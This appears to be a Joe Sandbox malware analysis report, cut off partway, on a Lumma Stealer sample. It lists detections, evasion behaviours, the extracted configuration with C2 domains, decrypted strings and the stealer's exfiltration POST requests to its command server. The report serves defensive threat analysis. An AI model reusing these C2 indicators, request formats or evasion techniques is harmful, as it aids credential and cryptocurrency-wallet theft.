Edit tour

Windows Analysis Report
un30brGAKP.exe

Overview

General Information

Sample name:	un30brGAKP.exe renamed because original name is a hash value
Original sample name:	36db2173d6f06d276b72ea725d9a81ac.exe
Analysis ID:	1584669
MD5:	36db2173d6f06d276b72ea725d9a81ac
SHA1:	ac1d252fe08dee826c9bc789cabae47635b3e9b0
SHA256:	c436b9f7bc178e51eb1380a5affa9c1ce0acf980a9cf7a193a36edef132e5c00
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file has nameless sections

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to communicate with device drivers

Contains functionality to modify clipboard data

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara detected Keylogger Generic

Classification

Process Tree

System is w10x64

un30brGAKP.exe (PID: 6868 cmdline: "C:\Users\user\Desktop\un30brGAKP.exe" MD5: 36DB2173D6F06D276B72EA725D9A81AC)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["wholersorie.shop", "tirepublicerj.shop", "nearycrepso.shop", "rabidcowse.shop", "framekgirus.shop", "abruptyopsn.shop", "impossiblekdo.click", "noisycuttej.shop", "cloudewahsj.shop"], "Build id": "LPnhqo--ewwjplqmoyou"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: un30brGAKP.exe PID: 6868	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: un30brGAKP.exe PID: 6868	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: un30brGAKP.exe PID: 6868	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: un30brGAKP.exe PID: 6868	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T07:43:59.799217+0100	2028371	3	Unknown Traffic	192.168.2.4	49731	188.114.97.3	443	TCP
2025-01-06T07:44:00.751157+0100	2028371	3	Unknown Traffic	192.168.2.4	49732	188.114.97.3	443	TCP
2025-01-06T07:44:02.122964+0100	2028371	3	Unknown Traffic	192.168.2.4	49733	188.114.97.3	443	TCP
2025-01-06T07:44:03.372318+0100	2028371	3	Unknown Traffic	192.168.2.4	49734	188.114.97.3	443	TCP
2025-01-06T07:44:05.137175+0100	2028371	3	Unknown Traffic	192.168.2.4	49735	188.114.97.3	443	TCP
2025-01-06T07:44:06.687867+0100	2028371	3	Unknown Traffic	192.168.2.4	49736	188.114.97.3	443	TCP
2025-01-06T07:44:08.248651+0100	2028371	3	Unknown Traffic	192.168.2.4	49737	188.114.97.3	443	TCP
2025-01-06T07:44:10.852062+0100	2028371	3	Unknown Traffic	192.168.2.4	49738	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T07:44:00.266309+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49731	188.114.97.3	443	TCP
2025-01-06T07:44:01.249780+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49732	188.114.97.3	443	TCP
2025-01-06T07:44:11.323779+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49738	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T07:44:00.266309+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49731	188.114.97.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T07:44:01.249780+0100	2049812	1	A Network Trojan was detected	192.168.2.4	49732	188.114.97.3	443	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T07:44:02.783191+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49733	188.114.97.3	443	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-06T07:44:08.252673+0100	2843864	1	A Network Trojan was detected	192.168.2.4	49737	188.114.97.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: un30brGAKP.exe

Avira: detected

Found malware configuration

Source: un30brGAKP.exe.6868.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["wholersorie.shop", "tirepublicerj.shop", "nearycrepso.shop", "rabidcowse.shop", "framekgirus.shop", "abruptyopsn.shop", "impossiblekdo.click", "noisycuttej.shop", "cloudewahsj.shop"], "Build id": "LPnhqo--ewwjplqmoyou"}

Multi AV Scanner detection for submitted file

Source: un30brGAKP.exe	Virustotal: Detection: 76%			Perma Link
Source: un30brGAKP.exe	ReversingLabs: Detection: 78%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: un30brGAKP.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: cloudewahsj.shop
Source: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: rabidcowse.shop
Source: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: noisycuttej.shop
Source: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: tirepublicerj.shop
Source: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: framekgirus.shop
Source: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: wholersorie.shop
Source: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: abruptyopsn.shop
Source: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: nearycrepso.shop
Source: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: impossiblekdo.click
Source: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.4122450420.0000000000D81000.00000040.00000001.01000000.00000003.sdmp	String decryptor: LPnhqo--ewwjplqmoyou

Source: C:\Users\user\Desktop\un30brGAKP.exe

Code function: 0_2_00D95050 CryptUnprotectData,

0_2_00D95050

Source: un30brGAKP.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49738 version: TLS 1.2

Source: C:\Users\user\Desktop\un30brGAKP.exe

Code function: 0_2_00E03490 FindFirstFileW,

0_2_00E03490

Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	0_2_00DBEC20
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], D6EFB4E0h	0_2_00DBEC20
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then cmp dword ptr [edx+ecx*8], 9164D103h	0_2_00DBED50
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then mov ebx, eax	0_2_00D8CFA8
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_00D95050
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then mov edx, ecx	0_2_00DBB150
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then mov ecx, ebx	0_2_00DBB150
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then mov word ptr [ecx], dx	0_2_00D8D3E9
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+4F03650Ah]	0_2_00DA5A60
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then mov byte ptr [eax], bl	0_2_00D8DDBE
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+000001A4h]	0_2_00D89D30
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 9AFAF935h	0_2_00DBFFB0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-0002D61Ah]	0_2_00DC0130
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], 9AFAF935h	0_2_00DC0130
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx+18h]	0_2_00D943D0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then jmp eax	0_2_00D8A2B5
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then jmp eax	0_2_00D8A6AA
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then mov ecx, eax	0_2_00DA8890
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then mov byte ptr [eax], cl	0_2_00D890B0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then mov word ptr [ebp+00h], 0000h	0_2_00DA5210
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then mov edi, edx	0_2_00D89390
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then mov ecx, edi	0_2_00D874E0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then movzx ebx, byte ptr [esp+ebp-000000D4h]	0_2_00DA3400
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then mov edx, eax	0_2_00DBB7C0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 7F7BECC6h	0_2_00DBB7C0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then movzx ecx, byte ptr [esi+eax-1B130B8Dh]	0_2_00D8B909
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then cmp dword ptr [ecx+ebx*8], 4B1BF3DAh	0_2_00DBFEE0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then cmp al, 2Eh	0_2_00DA5E00
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 4x nop then movzx eax, byte ptr [esp+edx-0Fh]	0_2_00DA5E00

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49732 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49732 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49738 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49733 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.4:49737 -> 188.114.97.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: wholersorie.shop
Source: Malware configuration extractor	URLs: tirepublicerj.shop
Source: Malware configuration extractor	URLs: nearycrepso.shop
Source: Malware configuration extractor	URLs: rabidcowse.shop
Source: Malware configuration extractor	URLs: framekgirus.shop
Source: Malware configuration extractor	URLs: abruptyopsn.shop
Source: Malware configuration extractor	URLs: impossiblekdo.click
Source: Malware configuration extractor	URLs: noisycuttej.shop
Source: Malware configuration extractor	URLs: cloudewahsj.shop

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49736 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49737 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49734 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49738 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49735 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 188.114.97.3:443

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: impossiblekdo.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 54Host: impossiblekdo.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=X5Q0Q4PMUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 18110Host: impossiblekdo.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WPNGUJFMZXIUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8749Host: impossiblekdo.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=JGJUY7XJ0IHA7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20414Host: impossiblekdo.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=K8IUNY541LXZBL9User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1237Host: impossiblekdo.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=33DYPPCDKUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 585698Host: impossiblekdo.click
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 89Host: impossiblekdo.click

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: impossiblekdo.click

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: impossiblekdo.click

Source: un30brGAKP.exe, 00000000.00000003.1712650352.0000000004515000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: un30brGAKP.exe, 00000000.00000003.1712650352.0000000004515000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: un30brGAKP.exe, 00000000.00000003.1712650352.0000000004515000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: un30brGAKP.exe, 00000000.00000003.1712650352.0000000004515000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: un30brGAKP.exe, 00000000.00000003.1712650352.0000000004515000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: un30brGAKP.exe, 00000000.00000003.1712650352.0000000004515000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: un30brGAKP.exe, 00000000.00000003.1712650352.0000000004515000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: un30brGAKP.exe, 00000000.00000003.1712650352.0000000004515000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: un30brGAKP.exe, 00000000.00000003.1712650352.0000000004515000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: un30brGAKP.exe, 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp, un30brGAKP.exe, 00000000.00000002.4122450420.0000000000F37000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.enigmaprotector.com/
Source: un30brGAKP.exe, 00000000.00000002.4122450420.0000000000DD2000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://www.enigmaprotector.com/openU
Source: un30brGAKP.exe, 00000000.00000003.1712650352.0000000004515000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: un30brGAKP.exe, 00000000.00000003.1712650352.0000000004515000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: un30brGAKP.exe, 00000000.00000003.1683487896.000000000451C000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1683570068.0000000004519000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: un30brGAKP.exe, 00000000.00000003.1714372751.00000000044E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: un30brGAKP.exe, 00000000.00000003.1714372751.00000000044E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: un30brGAKP.exe, 00000000.00000003.1683487896.000000000451C000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1683570068.0000000004519000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: un30brGAKP.exe, 00000000.00000003.1683487896.000000000451C000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1683570068.0000000004519000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: un30brGAKP.exe, 00000000.00000003.1683487896.000000000451C000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1683570068.0000000004519000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: un30brGAKP.exe, 00000000.00000003.1714372751.00000000044E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: un30brGAKP.exe, 00000000.00000003.1714372751.00000000044E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: un30brGAKP.exe, 00000000.00000003.1683487896.000000000451C000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1683570068.0000000004519000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: un30brGAKP.exe, 00000000.00000003.1683487896.000000000451C000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1683570068.0000000004519000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: un30brGAKP.exe, 00000000.00000003.1683487896.000000000451C000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1683570068.0000000004519000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: un30brGAKP.exe, 00000000.00000003.1714372751.00000000044E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: un30brGAKP.exe, 00000000.00000003.1696676419.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.2310340504.000000000163D000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1745556611.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960479286.000000000168B000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000002.4123251276.0000000001640000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1744098181.00000000044ED000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1750286817.00000000044ED000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1725590918.00000000044E8000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1725935872.00000000044ED000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1696321232.00000000044E3000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960516681.0000000001699000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1725523302.00000000044E3000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1725757563.00000000044EC000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1696283862.00000000044DF000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1739245687.00000000044ED000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1709695695.00000000044E1000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.2310454788.000000000163D000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.2310542336.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1709654838.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 